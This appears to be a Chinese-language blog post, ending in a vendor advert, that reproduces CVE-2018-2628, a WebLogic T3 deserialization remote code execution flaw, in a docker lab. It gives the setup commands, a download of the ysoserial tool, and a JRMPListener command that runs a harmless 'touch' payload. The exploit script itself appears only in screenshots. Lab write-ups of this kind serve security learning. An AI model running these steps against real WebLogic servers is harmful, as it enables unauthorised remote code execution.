![131f5a7fb08664352d769a41466f124d.gif](https://img-blog.csdnimg.cn/img_convert/131f5a7fb08664352d769a41466f124d.gif)
漏洞描述
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机。T3协议在开放WebLogic控制台端口的应用上默认开启。攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
![131f5a7fb08664352d769a41466f124d.gif](https://img-blog.csdnimg.cn/img_convert/131f5a7fb08664352d769a41466f124d.gif)
影响版本
Oracle Weblogic Server10.3.6.0.0
Oracle Weblogic Server12.1.3.0.0
Oracle Weblogic Server12.2.1.2.0
Oracle Weblogic Server12.2.1.3.0
![131f5a7fb08664352d769a41466f124d.gif](https://img-blog.csdnimg.cn/img_convert/131f5a7fb08664352d769a41466f124d.gif)
复现步骤
1.启动漏洞环境
命令:
docker-compose up -d
![54046dc59452a18c6ac82e360c601966.png](https://img-blog.csdnimg.cn/img_convert/54046dc59452a18c6ac82e360c601966.png)
2.下载反序列化工具
命令:
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
![215a4bcb3f3724dad71868690740437f.png](https://img-blog.csdnimg.cn/img_convert/215a4bcb3f3724dad71868690740437f.png)
3.启动JRMP Server,利用监听在连接成功后靶机上创建jadoreshell
命令:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8889 Jdk7u21 "touch /tmp/jadoreshell"
4.使用ysoserial-0.1-cve-2018-2628-all.jar工具生成一个payload字符串,因为要实现Weblogic远程调用攻击机主机上的方法。就需要知道远程方法所在的主机地址和端口号。所以在上一步要记录攻击主机的信息。
![134aa98aba9316b9b92b09fbf1773f71.png](https://img-blog.csdnimg.cn/img_convert/134aa98aba9316b9b92b09fbf1773f71.png)
5.替换脚本里的payload以及目标IP地址
![a2a9b171121260cebb35051b2ede754f.png](https://img-blog.csdnimg.cn/img_convert/a2a9b171121260cebb35051b2ede754f.png)
![8850d1c7c68fcb4c522190f5c793f22b.png](https://img-blog.csdnimg.cn/img_convert/8850d1c7c68fcb4c522190f5c793f22b.png)
6.执行python脚本
![5b6ea20bfd4e83285ce33ca9ca09d67a.png](https://img-blog.csdnimg.cn/img_convert/5b6ea20bfd4e83285ce33ca9ca09d67a.png)
![88ef87bdb06a9791ba97f4d78b25ce5a.png](https://img-blog.csdnimg.cn/img_convert/88ef87bdb06a9791ba97f4d78b25ce5a.png)
7.查看是否写入文本文件
命令:
dockers ps
![f36c4aa1fcd300295a16afd7b5ce95f8.png](https://img-blog.csdnimg.cn/img_convert/f36c4aa1fcd300295a16afd7b5ce95f8.png)
命令:
docker exec -ti cve-2018-2628_weblogic_1 /bin/bash
命令:
ls -al /tmp
文件写入成功。
![131f5a7fb08664352d769a41466f124d.gif](https://img-blog.csdnimg.cn/img_convert/131f5a7fb08664352d769a41466f124d.gif)
产品解决与支持
华云安灵洞®威胁与漏洞管理平台(Ai.Vul)已经支持一键检测该漏洞。